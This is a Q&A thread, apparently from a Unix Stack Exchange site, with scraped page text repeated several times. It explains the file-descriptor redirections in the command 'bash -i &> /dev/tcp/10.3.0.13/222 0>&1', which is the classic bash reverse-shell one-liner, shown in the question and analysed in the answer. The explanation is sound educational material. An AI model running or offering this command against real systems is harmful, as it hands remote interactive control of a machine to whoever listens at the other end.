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What does the 0>&1 shell redirection mean?

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3

trying to understand the command:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

it means that the STDIN of "bash -i" will get the STDOUT contents?

shell

share|improve this question

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

3

trying to understand the command:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

it means that the STDIN of "bash -i" will get the STDOUT contents?

shell

share|improve this question

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

add a comment | 

trying to understand the command:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

it means that the STDIN of "bash -i" will get the STDOUT contents?

shell

share|improve this question

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

share|improve this question

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

share|improve this question

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

edited 7 hours ago

Stéphane Chazelas

320k57607978

edited 7 hours ago

Stéphane Chazelas

320k57607978

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

New contributor

Gabriel Ortiz Lour is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

asked 8 hours ago

Gabriel Ortiz LourGabriel Ortiz Lour

161

1 Answer
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4

&> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription

0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).

Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.

So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.

share|improve this answer

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  So the 0>&1 only works because the socket is RW?
  
  – Gabriel Ortiz Lour
  7 hours ago
  

  
  
  
  


• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
  
  – Stéphane Chazelas
  7 hours ago
  

  
  
  
  

add a comment | 

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4

&> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription

0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).

Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.

So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.

share|improve this answer

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  So the 0>&1 only works because the socket is RW?
  
  – Gabriel Ortiz Lour
  7 hours ago
  

  
  
  
  


• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
  
  – Stéphane Chazelas
  7 hours ago
  

  
  
  
  

add a comment | 

4

&> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription

0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).

Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.

So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.

share|improve this answer

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

• 
  
  
  

  
  

  
  
  
  
  
  

  
  
  So the 0>&1 only works because the socket is RW?
  
  – Gabriel Ortiz Lour
  7 hours ago
  

  
  
  
  


• 
  
  
  

  
  1
  

  
  
  
  
  
  

  
  
  @GabrielOrtizLour, 0>&1 does a dup2(1, 0) regardless of the mode fd 1 was open as, but if it were open in write-only mode, that would mean fd 0 would end-up being write-only, reads on it would fail, and applications in general, and bash -i here specifically want to read from fd 0 (their stdin), not write to it.
  
  – Stéphane Chazelas
  7 hours ago
  

  
  
  
  

add a comment | 

&> file itself is the same as > file 2>&1, that is open file in write-only mode on file descriptor 1, and duplicate that file descriptor 1 to the file descriptor 2, so that both fd 1 and 2 (stdout and stderr) point to that open file destription

0>&1 adds 0 (stdin) to the list. It duplicates fd 1 to 0 as well (fd 0 is made to point to the same resource as pointed to by fd 1).

Now, when doing > /dev/tcp/host/port in bash (like in ksh where the feature comes from), instead of doing a open(file, O_WRONLY), bash creates a TCP socket and connects it to host:port. That's not a write-only redirection, that's a read+write network socket.

So you end up with fds 0, 1 and 2 of bash -i being a TCP socket. When bash -i reads on its stdin, it reads from the socket so from whatever sits at the other end of host:post and when it (or any command run from there) writes to fd 1 or 2, it is sent over that socket.

share|improve this answer

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

share|improve this answer

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978

answered 7 hours ago

Stéphane ChazelasStéphane Chazelas

320k57607978